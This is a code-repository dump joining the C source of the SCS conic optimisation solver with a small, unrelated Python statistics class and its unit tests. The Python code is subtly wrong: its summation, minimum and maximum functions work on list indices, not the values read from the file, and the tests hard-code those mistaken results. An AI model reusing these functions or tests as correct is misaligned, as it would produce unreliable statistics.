<repo_name>QingyunSun/scs<file_sep>/src/scs.c #include "scs.h" #include "normalize.h" #ifndef EXTRAVERBOSE /* if verbose print summary output every this num iterations */ #define PRINT_INTERVAL 100 /* check for convergence every this num iterations */ #define CONVERGED_INTERVAL 20 #else #define PRINT_INTERVAL 1 #define CONVERGED_INTERVAL 1 #endif /* tolerance at which we declare problem indeterminate */ #define INDETERMINATE_TOL 1e-9 timer globalTimer; /* printing header */ static const char *HEADER[] = { " Iter ", " pri res ", " dua res ", " rel gap ", " pri obj ", " dua obj ", " kap/tau ", " time (s)", }; static const scs_int HSPACE = 9; static const scs_int HEADER_LEN = 8; static const scs_int LINE_LEN = 76; static scs_int scs_isnan(scs_float x) { DEBUG_FUNC RETURN(x == NAN || x != x); } static void freeWork(Work *w) { DEBUG_FUNC if (!w) {RETURN;} if (w->u) scs_free(w->u); if (w->v) scs_free(w->v); if (w->u_t) scs_free(w->u_t); if (w->u_prev) scs_free(w->u_prev); if (w->h) scs_free(w->h); if (w->g) scs_free(w->g); if (w->b) scs_free(w->b); if (w->c) scs_free(w->c); if (w->pr) scs_free(w->pr); if (w->dr) scs_free(w->dr); if (w->scal) { if (w->scal->D) scs_free(w->scal->D); if (w->scal->E) scs_free(w->scal->E); scs_free(w->scal); } scs_free(w); RETURN; } static void printInitHeader(const Data *d, const Cone *k) { DEBUG_FUNC scs_int i; Settings *stgs = d->stgs; char *coneStr = getConeHeader(k); char *linSysMethod = getLinSysMethod(d->A, d->stgs); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n\tSCS v%s - Splitting Conic Solver\n\t(c) Brendan " "O'Donoghue, Stanford University, 2012-2016\n", scs_version()); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n"); if (linSysMethod) { scs_printf("Lin-sys: %s\n", linSysMethod); scs_free(linSysMethod); } if (stgs->normalize) { scs_printf("eps = %.2e, alpha = %.2f, max_iters = %i, normalize = %i, " "scale = %2.2f\n", stgs->eps, stgs->alpha, (int)stgs->max_iters, (int)stgs->normalize, stgs->scale); } else { scs_printf("eps = %.2e, alpha = %.2f, max_iters = %i, normalize = %i\n", stgs->eps, stgs->alpha, (int)stgs->max_iters, (int)stgs->normalize); } scs_printf("Variables n = %i, constraints m = %i\n", (int)d->n, (int)d->m); scs_printf("%s", coneStr); scs_free(coneStr); #ifdef MATLAB_MEX_FILE mexEvalString("drawnow;"); #endif RETURN; } static void populateOnFailure(scs_int m, scs_int n, Sol *sol, Info *info, scs_int statusVal, const char *msg) { DEBUG_FUNC if (info) { info->relGap = NAN; info->resPri = NAN; info->resDual = NAN; info->pobj = NAN; info->dobj = NAN; info->iter = -1; info->statusVal = statusVal; info->solveTime = NAN; strcpy(info->status, msg); } if (sol) { if (n > 0) { if (!sol->x) sol->x = scs_malloc(sizeof(scs_float) * n); scaleArray(sol->x, NAN, n); } if (m > 0) { if (!sol->y) sol->y = scs_malloc(sizeof(scs_float) * m); scaleArray(sol->y, NAN, m); if (!sol->s) sol->s = scs_malloc(sizeof(scs_float) * m); scaleArray(sol->s, NAN, m); } } RETURN; } static scs_int failure(Work *w, scs_int m, scs_int n, Sol *sol, Info *info, scs_int stint, const char *msg, const char *ststr) { DEBUG_FUNC scs_int status = stint; populateOnFailure(m, n, sol, info, status, ststr); scs_printf("Failure:%s\n", msg); endInterruptListener(); RETURN status; } static void warmStartVars(Work *w, const Sol *sol) { DEBUG_FUNC scs_int i, n = w->n, m = w->m; memset(w->v, 0, n * sizeof(scs_float)); memcpy(w->u, sol->x, n * sizeof(scs_float)); memcpy(&(w->u[n]), sol->y, m * sizeof(scs_float)); memcpy(&(w->v[n]), sol->s, m * sizeof(scs_float)); w->u[n + m] = 1.0; w->v[n + m] = 0.0; #ifndef NOVALIDATE for (i = 0; i < n + m + 1; ++i) { if (scs_isnan(w->u[i])) w->u[i] = 0; if (scs_isnan(w->v[i])) w->v[i] = 0; } #endif if (w->stgs->normalize) { normalizeWarmStart(w); } RETURN; } static scs_float calcPrimalResid(Work *w, const scs_float *x, const scs_float *s, const scs_float tau, scs_float *nmAxs) { DEBUG_FUNC scs_int i; scs_float pres = 0, scale, *pr = w->pr; *nmAxs = 0; memset(pr, 0, w->m * sizeof(scs_float)); accumByA(w->A, w->p, x, pr); addScaledArray(pr, s, w->m, 1.0); /* pr = Ax + s */ for (i = 0; i < w->m; ++i) { scale = w->stgs->normalize ? w->scal->D[i] / (w->sc_b * w->stgs->scale) : 1; scale = scale * scale; *nmAxs += (pr[i] * pr[i]) * scale; pres += (pr[i] - w->b[i] * tau) * (pr[i] - w->b[i] * tau) * scale; } *nmAxs = SQRTF(*nmAxs); RETURN SQRTF(pres); /* norm(Ax + s - b * tau) */ } static scs_float calcDualResid(Work *w, const scs_float *y, const scs_float tau, scs_float *nmATy) { DEBUG_FUNC scs_int i; scs_float dres = 0, scale, *dr = w->dr; *nmATy = 0; memset(dr, 0, w->n * sizeof(scs_float)); accumByAtrans(w->A, w->p, y, dr); /* dr = A'y */ for (i = 0; i < w->n; ++i) { scale = w->stgs->normalize ? w->scal->E[i] / (w->sc_c * w->stgs->scale) : 1; scale = scale * scale; *nmATy += (dr[i] * dr[i]) * scale; dres += (dr[i] + w->c[i] * tau) * (dr[i] + w->c[i] * tau) * scale; } *nmATy = SQRTF(*nmATy); RETURN SQRTF(dres); /* norm(A'y + c * tau) */ } /* calculates un-normalized quantities */ static void calcResiduals(Work *w, struct residuals *r, scs_int iter) { DEBUG_FUNC scs_float *x = w->u, *y = &(w->u[w->n]), *s = &(w->v[w->n]); scs_float nmpr_tau, nmdr_tau, nmAxs_tau, nmATy_tau, cTx, bTy; scs_int n = w->n, m = w->m; /* checks if the residuals are unchanged by checking iteration */ if (r->lastIter == iter) { RETURN; } r->lastIter = iter; r->tau = ABS(w->u[n + m]); r->kap = ABS(w->v[n + m]) / (w->stgs->normalize ? (w->stgs->scale * w->sc_c * w->sc_b) : 1); nmpr_tau = calcPrimalResid(w, x, s, r->tau, &nmAxs_tau); nmdr_tau = calcDualResid(w, y, r->tau, &nmATy_tau); r->bTy_by_tau = innerProd(y, w->b, m) / (w->stgs->normalize ? (w->stgs->scale * w->sc_c * w->sc_b) : 1); r->cTx_by_tau = innerProd(x, w->c, n) / (w->stgs->normalize ? (w->stgs->scale * w->sc_c * w->sc_b) : 1); r->resInfeas = r->bTy_by_tau < 0 ? w->nm_b * nmATy_tau / -r->bTy_by_tau : NAN; r->resUnbdd = r->cTx_by_tau < 0 ? w->nm_c * nmAxs_tau / -r->cTx_by_tau : NAN; bTy = r->bTy_by_tau / r->tau; cTx = r->cTx_by_tau / r->tau; r->resPri = nmpr_tau / (1 + w->nm_b) / r->tau; r->resDual = nmdr_tau / (1 + w->nm_c) / r->tau; r->relGap = ABS(cTx + bTy) / (1 + ABS(cTx) + ABS(bTy)); RETURN; } static void coldStartVars(Work *w) { DEBUG_FUNC scs_int l = w->n + w->m + 1; memset(w->u, 0, l * sizeof(scs_float)); memset(w->v, 0, l * sizeof(scs_float)); w->u[l - 1] = SQRTF((scs_float)l); w->v[l - 1] = SQRTF((scs_float)l); RETURN; } /* status < 0 indicates failure */ static scs_int projectLinSys(Work *w, scs_int iter) { /* ut = u + v */ DEBUG_FUNC scs_int n = w->n, m = w->m, l = n + m + 1, status; memcpy(w->u_t, w->u, l * sizeof(scs_float)); addScaledArray(w->u_t, w->v, l, 1.0); scaleArray(w->u_t, w->stgs->rho_x, n); addScaledArray(w->u_t, w->h, l - 1, -w->u_t[l - 1]); addScaledArray(w->u_t, w->h, l - 1, -innerProd(w->u_t, w->g, l - 1) / (w->gTh + 1)); scaleArray(&(w->u_t[n]), -1, m); status = solveLinSys(w->A, w->stgs, w->p, w->u_t, w->u, iter); w->u_t[l - 1] += innerProd(w->u_t, w->h, l - 1); RETURN status; } void printSol(Work *w, Sol *sol, Info *info) { DEBUG_FUNC scs_int i; scs_printf("%s\n", info->status); if (sol->x != SCS_NULL) { for (i = 0; i < w->n; ++i) { scs_printf("x[%i] = %4f\n", (int)i, sol->x[i]); } } if (sol->y != SCS_NULL) { for (i = 0; i < w->m; ++i) { scs_printf("y[%i] = %4f\n", (int)i, sol->y[i]); } } RETURN; } static void updateDualVars(Work *w) { DEBUG_FUNC scs_int i, n = w->n, l = n + w->m + 1; /* this does not relax 'x' variable */ for (i = n; i < l; ++i) { w->v[i] += (w->u[i] - w->stgs->alpha * w->u_t[i] - (1.0 - w->stgs->alpha) * w->u_prev[i]); } RETURN; } /* status < 0 indicates failure */ static scs_int projectCones(Work *w, const Cone *k, scs_int iter) { DEBUG_FUNC scs_int i, n = w->n, l = n + w->m + 1, status; /* this does not relax 'x' variable */ for (i = 0; i < n; ++i) { w->u[i] = w->u_t[i] - w->v[i]; } for (i = n; i < l; ++i) { w->u[i] = w->stgs->alpha * w->u_t[i] + (1 - w->stgs->alpha) * w->u_prev[i] - w->v[i]; } /* u = [x;y;tau] */ status = projDualCone(&(w->u[n]), k, w->coneWork, &(w->u_prev[n]), iter); if (w->u[l - 1] < 0.0) w->u[l - 1] = 0.0; RETURN status; } static scs_int indeterminate(Work *w, Sol *sol, Info *info) { DEBUG_FUNC strcpy(info->status, "Indeterminate"); scaleArray(sol->x, NAN, w->n); scaleArray(sol->y, NAN, w->m); scaleArray(sol->s, NAN, w->m); RETURN SCS_INDETERMINATE; } static scs_int solved(Work *w, Sol *sol, Info *info, scs_float tau) { DEBUG_FUNC scaleArray(sol->x, 1.0 / tau, w->n); scaleArray(sol->y, 1.0 / tau, w->m); scaleArray(sol->s, 1.0 / tau, w->m); if (info->statusVal == 0) { strcpy(info->status, "Solved/Inaccurate"); RETURN SCS_SOLVED_INACCURATE; } strcpy(info->status, "Solved"); RETURN SCS_SOLVED; } static scs_int infeasible(Work *w, Sol *sol, Info *info, scs_float bTy) { DEBUG_FUNC scaleArray(sol->y, -1 / bTy, w->m); scaleArray(sol->x, NAN, w->n); scaleArray(sol->s, NAN, w->m); if (info->statusVal == 0) { strcpy(info->status, "Infeasible/Inaccurate"); RETURN SCS_INFEASIBLE_INACCURATE; } strcpy(info->status, "Infeasible"); RETURN SCS_INFEASIBLE; } static scs_int unbounded(Work *w, Sol *sol, Info *info, scs_float cTx) { DEBUG_FUNC scaleArray(sol->x, -1 / cTx, w->n); scaleArray(sol->s, -1 / cTx, w->m); scaleArray(sol->y, NAN, w->m); if (info->statusVal == 0) { strcpy(info->status, "Unbounded/Inaccurate"); RETURN SCS_UNBOUNDED_INACCURATE; } strcpy(info->status, "Unbounded"); RETURN SCS_UNBOUNDED; } static void sety(Work *w, Sol *sol) { DEBUG_FUNC if (!sol->y) { sol->y = scs_malloc(sizeof(scs_float) * w->m); } memcpy(sol->y, &(w->u[w->n]), w->m * sizeof(scs_float)); RETURN; } static void sets(Work *w, Sol *sol) { DEBUG_FUNC if (!sol->s) { sol->s = scs_malloc(sizeof(scs_float) * w->m); } memcpy(sol->s, &(w->v[w->n]), w->m * sizeof(scs_float)); RETURN; } static void setx(Work *w, Sol *sol) { DEBUG_FUNC if (!sol->x) sol->x = scs_malloc(sizeof(scs_float) * w->n); memcpy(sol->x, w->u, w->n * sizeof(scs_float)); RETURN; } scs_int isSolvedStatus(scs_int status) { RETURN status == SCS_SOLVED || status == SCS_SOLVED_INACCURATE; } scs_int isInfeasibleStatus(scs_int status) { RETURN status == SCS_INFEASIBLE || status == SCS_INFEASIBLE_INACCURATE; } scs_int isUnboundedStatus(scs_int status) { RETURN status == SCS_UNBOUNDED || status == SCS_UNBOUNDED_INACCURATE; } static void getInfo(Work *w, Sol *sol, Info *info, struct residuals *r, scs_int iter) { DEBUG_FUNC info->iter = iter; info->resInfeas = r->resInfeas; info->resUnbdd = r->resUnbdd; if (isSolvedStatus(info->statusVal)) { info->relGap = r->relGap; info->resPri = r->resPri; info->resDual = r->resDual; info->pobj = r->cTx_by_tau / r->tau; info->dobj = -r->bTy_by_tau / r->tau; } else if (isUnboundedStatus(info->statusVal)) { info->relGap = NAN; info->resPri = NAN; info->resDual = NAN; info->pobj = -INFINITY; info->dobj = -INFINITY; } else if (isInfeasibleStatus(info->statusVal)) { info->relGap = NAN; info->resPri = NAN; info->resDual = NAN; info->pobj = INFINITY; info->dobj = INFINITY; } RETURN; } /* sets solutions, re-scales by inner prods if infeasible or unbounded */ static void getSolution(Work *w, Sol *sol, Info *info, struct residuals *r, scs_int iter) { DEBUG_FUNC scs_int l = w->n + w->m + 1; calcResiduals(w, r, iter); setx(w, sol); sety(w, sol); sets(w, sol); if (info->statusVal == SCS_UNFINISHED) { /* not yet converged, take best guess */ if (r->tau > INDETERMINATE_TOL && r->tau > r->kap) { info->statusVal = solved(w, sol, info, r->tau); } else if (calcNorm(w->u, l) < INDETERMINATE_TOL * SQRTF((scs_float)l)) { info->statusVal = indeterminate(w, sol, info); } else if (r->bTy_by_tau < r->cTx_by_tau) { info->statusVal = infeasible(w, sol, info, r->bTy_by_tau); } else { info->statusVal = unbounded(w, sol, info, r->cTx_by_tau); } } else if (isSolvedStatus(info->statusVal)) { info->statusVal = solved(w, sol, info, r->tau); } else if (isInfeasibleStatus(info->statusVal)) { info->statusVal = infeasible(w, sol, info, r->bTy_by_tau); } else { info->statusVal = unbounded(w, sol, info, r->cTx_by_tau); } if (w->stgs->normalize) { unNormalizeSol(w, sol); } getInfo(w, sol, info, r, iter); RETURN; } static void printSummary(Work *w, scs_int i, struct residuals *r, timer *solveTimer) { DEBUG_FUNC scs_printf("%*i|", (int)strlen(HEADER[0]), (int)i); scs_printf("%*.2e ", (int)HSPACE, r->resPri); scs_printf("%*.2e ", (int)HSPACE, r->resDual); scs_printf("%*.2e ", (int)HSPACE, r->relGap); scs_printf("%*.2e ", (int)HSPACE, r->cTx_by_tau / r->tau); scs_printf("%*.2e ", (int)HSPACE, -r->bTy_by_tau / r->tau); scs_printf("%*.2e ", (int)HSPACE, r->kap / r->tau); scs_printf("%*.2e ", (int)HSPACE, tocq(solveTimer) / 1e3); scs_printf("\n"); #if EXTRAVERBOSE > 0 scs_printf("Norm u = %4f, ", calcNorm(w->u, w->n + w->m + 1)); scs_printf("Norm u_t = %4f, ", calcNorm(w->u_t, w->n + w->m + 1)); scs_printf("Norm v = %4f, ", calcNorm(w->v, w->n + w->m + 1)); scs_printf("tau = %4f, ", w->u[w->n + w->m]); scs_printf("kappa = %4f, ", w->v[w->n + w->m]); scs_printf("|u - u_prev| = %1.2e, ", calcNormDiff(w->u, w->u_prev, w->n + w->m + 1)); scs_printf("|u - u_t| = %1.2e, ", calcNormDiff(w->u, w->u_t, w->n + w->m + 1)); scs_printf("resInfeas = %1.2e, ", r->resInfeas); scs_printf("resUnbdd = %1.2e\n", r->resUnbdd); #endif #ifdef MATLAB_MEX_FILE mexEvalString("drawnow;"); #endif RETURN; } static void printHeader(Work *w, const Cone *k) { DEBUG_FUNC scs_int i; if (w->stgs->warm_start) scs_printf("SCS using variable warm-starting\n"); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n"); for (i = 0; i < HEADER_LEN - 1; ++i) { scs_printf("%s|", HEADER[i]); } scs_printf("%s\n", HEADER[HEADER_LEN - 1]); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n"); #ifdef MATLAB_MEX_FILE mexEvalString("drawnow;"); #endif RETURN; } scs_float getDualConeDist(const scs_float *y, const Cone *k, ConeWork *c, scs_int m) { DEBUG_FUNC scs_float dist; scs_float *t = scs_malloc(sizeof(scs_float) * m); memcpy(t, y, m * sizeof(scs_float)); projDualCone(t, k, c, SCS_NULL, -1); dist = calcNormInfDiff(t, y, m); #if EXTRAVERBOSE > 0 printArray(y, m, "y"); printArray(t, m, "projY"); scs_printf("dist = %4f\n", dist); #endif scs_free(t); RETURN dist; } /* via moreau */ scs_float getPriConeDist(const scs_float *s, const Cone *k, ConeWork *c, scs_int m) { DEBUG_FUNC scs_float dist; scs_float *t = scs_malloc(sizeof(scs_float) * m); memcpy(t, s, m * sizeof(scs_float)); scaleArray(t, -1.0, m); projDualCone(t, k, c, SCS_NULL, -1); dist = calcNormInf(t, m); /* ||s - Pi_c(s)|| = ||Pi_c*(-s)|| */ #if EXTRAVERBOSE > 0 printArray(s, m, "s"); printArray(t, m, "(s - ProjS)"); scs_printf("dist = %4f\n", dist); #endif scs_free(t); RETURN dist; } static void printFooter(const Data *d, const Cone *k, Sol *sol, Work *w, Info *info) { DEBUG_FUNC scs_int i; char *linSysStr = getLinSysSummary(w->p, info); char *coneStr = getConeSummary(info, w->coneWork); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\nStatus: %s\n", info->status); if (info->iter == w->stgs->max_iters) { scs_printf("Hit max_iters, solution may be inaccurate\n"); } scs_printf("Timing: Solve time: %1.2es\n", info->solveTime / 1e3); if (linSysStr) { scs_printf("%s", linSysStr); scs_free(linSysStr); } if (coneStr) { scs_printf("%s", coneStr); scs_free(coneStr); } for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n"); if (isInfeasibleStatus(info->statusVal)) { scs_printf("Certificate of primal infeasibility:\n"); scs_printf("dist(y, K*) = %.4e\n", getDualConeDist(sol->y, k, w->coneWork, d->m)); scs_printf("|A'y|_2 * |b|_2 = %.4e\n", info->resInfeas); scs_printf("b'y = %.4f\n", innerProd(d->b, sol->y, d->m)); } else if (isUnboundedStatus(info->statusVal)) { scs_printf("Certificate of dual infeasibility:\n"); scs_printf("dist(s, K) = %.4e\n", getPriConeDist(sol->s, k, w->coneWork, d->m)); scs_printf("|Ax + s|_2 * |c|_2 = %.4e\n", info->resUnbdd); scs_printf("c'x = %.4f\n", innerProd(d->c, sol->x, d->n)); } else { scs_printf("Error metrics:\n"); scs_printf("dist(s, K) = %.4e, dist(y, K*) = %.4e, s'y/|s||y| = %.4e\n", getPriConeDist(sol->s, k, w->coneWork, d->m), getDualConeDist(sol->y, k, w->coneWork, d->m), innerProd(sol->s, sol->y, d->m) / calcNorm(sol->s, d->m) / calcNorm(sol->y, d->m)); scs_printf("|Ax + s - b|_2 / (1 + |b|_2) = %.4e\n", info->resPri); scs_printf("|A'y + c|_2 / (1 + |c|_2) = %.4e\n", info->resDual); scs_printf("|c'x + b'y| / (1 + |c'x| + |b'y|) = %.4e\n", info->relGap); for (i = 0; i < LINE_LEN; ++i) { scs_printf("-"); } scs_printf("\n"); scs_printf("c'x = %.4f, -b'y = %.4f\n", info->pobj, info->dobj); } for (i = 0; i < LINE_LEN; ++i) { scs_printf("="); } scs_printf("\n"); #ifdef MATLAB_MEX_FILE mexEvalString("drawnow;"); #endif RETURN; } static scs_int hasConverged(Work *w, struct residuals *r, scs_int iter) { DEBUG_FUNC scs_float eps = w->stgs->eps; if (r->resPri < eps && r->resDual < eps && r->relGap < eps) { RETURN SCS_SOLVED; } /* Add iter > 0 to avoid strange edge case where infeasible point found * right at start of run `out/demo_SOCP_indirect 2 0.1 0.3 1506264403` */ if (r->resUnbdd < eps && iter > 0) { RETURN SCS_UNBOUNDED; } if (r->resInfeas < eps && iter > 0) { RETURN SCS_INFEASIBLE; } RETURN 0; } static scs_int validate(const Data *d, const Cone *k) { DEBUG_FUNC Settings *stgs = d->stgs; if (d->m <= 0 || d->n <= 0) { scs_printf("m and n must both be greater than 0; m = %li, n = %li\n", (long)d->m, (long)d->n); RETURN - 1; } if (d->m < d->n) { scs_printf("WARN: m less than n, problem likely degenerate\n"); /* RETURN -1; */ } if (validateLinSys(d->A) < 0) { scs_printf("invalid linear system input data\n"); RETURN - 1; } if (validateCones(d, k) < 0) { scs_printf("cone validation error\n"); RETURN - 1; } if (stgs->max_iters <= 0) { scs_printf("max_iters must be positive\n"); RETURN - 1; } if (stgs->eps <= 0) { scs_printf("eps tolerance must be positive\n"); RETURN - 1; } if (stgs->alpha <= 0 || stgs->alpha >= 2) { scs_printf("alpha must be in (0,2)\n"); RETURN - 1; } if (stgs->rho_x <= 0) { scs_printf("rhoX must be positive (1e-3 works well).\n"); RETURN - 1; } if (stgs->scale <= 0) { scs_printf("scale must be positive (1 works well).\n"); RETURN - 1; } RETURN 0; } static Work *initWork(const Data *d, const Cone *k) { DEBUG_FUNC Work *w = scs_calloc(1, sizeof(Work)); scs_int l = d->n + d->m + 1; if (d->stgs->verbose) { printInitHeader(d, k); } if (!w) { scs_printf("ERROR: allocating work failure\n"); RETURN SCS_NULL; } /* get settings and dims from data struct */ w->stgs = d->stgs; w->m = d->m; w->n = d->n; /* allocate workspace: */ w->u = scs_malloc(l * sizeof(scs_float)); w->v = scs_malloc(l * sizeof(scs_float)); w->u_t = scs_malloc(l * sizeof(scs_float)); w->u_prev = scs_malloc(l * sizeof(scs_float)); w->h = scs_malloc((l - 1) * sizeof(scs_float)); w->g = scs_malloc((l - 1) * sizeof(scs_float)); w->pr = scs_malloc(d->m * sizeof(scs_float)); w->dr = scs_malloc(d->n * sizeof(scs_float)); w->b = scs_malloc(d->m * sizeof(scs_float)); w->c = scs_malloc(d->n * sizeof(scs_float)); if (!w->u || !w->v || !w->u_t || !w->u_prev || !w->h || !w->g || !w->pr || !w->dr || !w->b || !w->c) { scs_printf("ERROR: work memory allocation failure\n"); RETURN SCS_NULL; } w->A = d->A; if (w->stgs->normalize) { #ifdef COPYAMATRIX if (!copyAMatrix(&(w->A), d->A)) { scs_printf("ERROR: copy A matrix failed\n"); RETURN SCS_NULL; } #endif w->scal = scs_malloc(sizeof(Scaling)); normalizeA(w->A, w->stgs, k, w->scal); #if EXTRAVERBOSE > 0 printArray(w->scal->D, d->m, "D"); scs_printf("norm D = %4f\n", calcNorm(w->scal->D, d->m)); printArray(w->scal->E, d->n, "E"); scs_printf("norm E = %4f\n", calcNorm(w->scal->E, d->n)); #endif } else { w->scal = SCS_NULL; } if (!(w->coneWork = initCone(k))) { scs_printf("ERROR: initCone failure\n"); RETURN SCS_NULL; } w->p = initPriv(w->A, w->stgs); if (!w->p) { scs_printf("ERROR: initPriv failure\n"); RETURN SCS_NULL; } RETURN w; } static scs_int updateWork(const Data *d, Work *w, const Sol *sol) { DEBUG_FUNC /* before normalization */ scs_int n = d->n; scs_int m = d->m; w->nm_b = calcNorm(d->b, m); w->nm_c = calcNorm(d->c, n); memcpy(w->b, d->b, d->m * sizeof(scs_float)); memcpy(w->c, d->c, d->n * sizeof(scs_float)); #if EXTRAVERBOSE > 0 printArray(w->b, m, "b"); scs_printf("pre-normalized norm b = %4f\n", calcNorm(w->b, m)); printArray(w->c, n, "c"); scs_printf("pre-normalized norm c = %4f\n", calcNorm(w->c, n)); #endif if (w->stgs->normalize) { normalizeBC(w); #if EXTRAVERBOSE > 0 printArray(w->b, m, "bn"); scs_printf("sc_b = %4f\n", w->sc_b); scs_printf("post-normalized norm b = %4f\n", calcNorm(w->b, m)); printArray(w->c, n, "cn"); scs_printf("sc_c = %4f\n", w->sc_c); scs_printf("post-normalized norm c = %4f\n", calcNorm(w->c, n)); #endif } if (w->stgs->warm_start) { warmStartVars(w, sol); } else { coldStartVars(w); } memcpy(w->h, w->c, n * sizeof(scs_float)); memcpy(&(w->h[n]), w->b, m * sizeof(scs_float)); memcpy(w->g, w->h, (n + m) * sizeof(scs_float)); solveLinSys(w->A, w->stgs, w->p, w->g, SCS_NULL, -1); scaleArray(&(w->g[n]), -1, m); w->gTh = innerProd(w->h, w->g, n + m); RETURN 0; } scs_int scs_solve(Work *w, const Data *d, const Cone *k, Sol *sol, Info *info) { DEBUG_FUNC scs_int i; timer solveTimer; struct residuals r; if (!d || !k || !sol || !info || !w || !d->b || !d->c) { scs_printf("ERROR: SCS_NULL input\n"); RETURN SCS_FAILED; } /* initialize ctrl-c support */ startInterruptListener(); tic(&solveTimer); info->statusVal = SCS_UNFINISHED; /* not yet converged */ r.lastIter = -1; updateWork(d, w, sol); if (w->stgs->verbose) printHeader(w, k); /* scs: */ for (i = 0; i < w->stgs->max_iters; ++i) { memcpy(w->u_prev, w->u, (w->n + w->m + 1) * sizeof(scs_float)); if (projectLinSys(w, i) < 0) { RETURN failure(w, w->m, w->n, sol, info, SCS_FAILED, "error in projectLinSys", "Failure"); } if (projectCones(w, k, i) < 0) { RETURN failure(w, w->m, w->n, sol, info, SCS_FAILED, "error in projectCones", "Failure"); } updateDualVars(w); if (isInterrupted()) { RETURN failure(w, w->m, w->n, sol, info, SCS_SIGINT, "Interrupted", "Interrupted"); } if (i % CONVERGED_INTERVAL == 0) { calcResiduals(w, &r, i); if ((info->statusVal = hasConverged(w, &r, i)) != 0) { break; } } if (w->stgs->verbose && i % PRINT_INTERVAL == 0) { calcResiduals(w, &r, i); printSummary(w, i, &r, &solveTimer); } } if (w->stgs->verbose) { calcResiduals(w, &r, i); printSummary(w, i, &r, &solveTimer); } /* populate solution vectors (unnormalized) and info */ getSolution(w, sol, info, &r, i); info->solveTime = tocq(&solveTimer); if (w->stgs->verbose) printFooter(d, k, sol, w, info); endInterruptListener(); RETURN info->statusVal; } void scs_finish(Work *w) { DEBUG_FUNC if (w) { finishCone(w->coneWork); if (w->stgs && w->stgs->normalize) { #ifndef COPYAMATRIX unNormalizeA(w->A, w->stgs, w->scal); #else freeAMatrix(w->A); #endif } if (w->p) freePriv(w->p); freeWork(w); } RETURN; } Work *scs_init(const Data *d, const Cone *k, Info *info) { DEBUG_FUNC #if EXTRAVERBOSE > 1 tic(&globalTimer); #endif Work *w; timer initTimer; startInterruptListener(); if (!d || !k || !info) { scs_printf("ERROR: Missing Data, Cone or Info input\n"); RETURN SCS_NULL; } #if EXTRAVERBOSE > 0 printData(d); printConeData(k); #endif #ifndef NOVALIDATE if (validate(d, k) < 0) { scs_printf("ERROR: Validation returned failure\n"); RETURN SCS_NULL; } #endif tic(&initTimer); w = initWork(d, k); /* strtoc("init", &initTimer); */ info->setupTime = tocq(&initTimer); if (d->stgs->verbose) { scs_printf("Setup time: %1.2es\n", info->setupTime / 1e3); } endInterruptListener(); RETURN w; } /* this just calls scs_init, scs_solve, and scs_finish */ scs_int scs(const Data *d, const Cone *k, Sol *sol, Info *info) { DEBUG_FUNC scs_int status; Work *w = scs_init(d, k, info); #if EXTRAVERBOSE > 0 scs_printf("size of scs_int = %lu, size of scs_float = %lu\n", sizeof(scs_int), sizeof(scs_float)); #endif if (w) { scs_solve(w, d, k, sol, info); status = info->statusVal; } else { status = failure(SCS_NULL, d ? d->m : -1, d ? d->n : -1, sol, info, SCS_FAILED, "could not initialize work", "Failure"); } scs_finish(w); RETURN status; } <file_sep>/matlab/README.md To install scs for matlab, in the scs/matlab directory enter make_scs at the matlab prompt. To install for cvx you need cvx version 3.0 or greater, follow the instructions at cvxr.com.
b2389c07de22dea9d2bb841940f1f32c89cbd789
[ "Markdown", "C" ]
2
C
QingyunSun/scs
34696ce4266a8a8b031628cf7accf6e77bffc97a
e909c8f3035c5a87e892acbc673b9998703cf5b8
refs/heads/main
<repo_name>diemancini/python-tdd_ci_tests<file_sep>/test_compute_stats_refactor.py import unittest from compute_stats_refactor import ComputeStatsRefactor class TestComputeStatsRefactor(unittest.TestCase): def test_read_inits(self): csr = ComputeStatsRefactor() return self.assertIsInstance(csr.read_ints(), list) def test_count(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.count(), 1000) def test_summation(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.summation(), 499500) def test_average(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.average(), 499) def test_minimun(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.minimum(), 0) def test_maximum(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.maximum(), 999) def test_harmonic_mean(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.harmonic_mean(), 129) def test_variance(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.variance(), 81476) def test_standard_dev(self): csr = ComputeStatsRefactor() return self.assertEqual(csr.standard_dev(), 285) if __name__ == '__main__': # unittest.TestCase() unittest.main(argv=['ignored', '-v'], exit=False) <file_sep>/compute_stats_refactor.py import os class ComputeStatsRefactor: def __init__(self): self.file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "random_nums.txt") def read_ints(self): data = [] with open(self.file, 'r') as f: for num in f: num = int(num) data.append(num) return data def count(self): total = 0 data = self.read_ints() while total < len(data): total += 1 return total def summation(self): data = self.read_ints() sum = 0 for x in range(len(data)): sum += x return sum def average(self): return int(self.summation() / self.count()) def minimum(self): data = self.read_ints() min = data[0] for x in range(len(data)): if x < min: min = x return min def maximum(self): data = self.read_ints() max = data[0] for x in range(len(data)): if x > max: max = x return max def harmonic_mean(self): data = self.read_ints() n = self.count() numerator = 0 for i in range(n): numerator += data[i] ** (-1) h_mean = (numerator / n) ** (-1) return int(h_mean) def variance(self): data = self.read_ints() n = self.count() numerator = 0 mean_data = self.average() for i in range(n): numerator += (data[i] - mean_data) ** 2 var = numerator / n return int(var) def standard_dev(self): return int(self.variance() ** (1 / 2)) # if __name__ == '__main__': # csr = ComputeStatsRefactor() # print(f'data = read_ints()}') # print(f'total = {csr.count()}') # print(f'summation = {csr.summation()}') # print(f'average = {csr.average()}') # print(f'Minimum = {csr.minimum()}') # print(f'Maximum = {csr.maximum()}') # print(f'Harmonic Mean = {csr.harmonic_mean()}') # print(f'Variance = {csr.variance()}') # print(f'Standard Deviation = {csr.standard_dev()}')
67260de1db13b9f5fcea9e90af09d5dc62b4e4cf
[ "Python" ]
2
Python
diemancini/python-tdd_ci_tests
7dca7c1aa37f7ff5d1e076b6c98773e46f9e78de
2180c9ef665da5df6bf6761d6f6ed5858ef12aa0
refs/heads/master
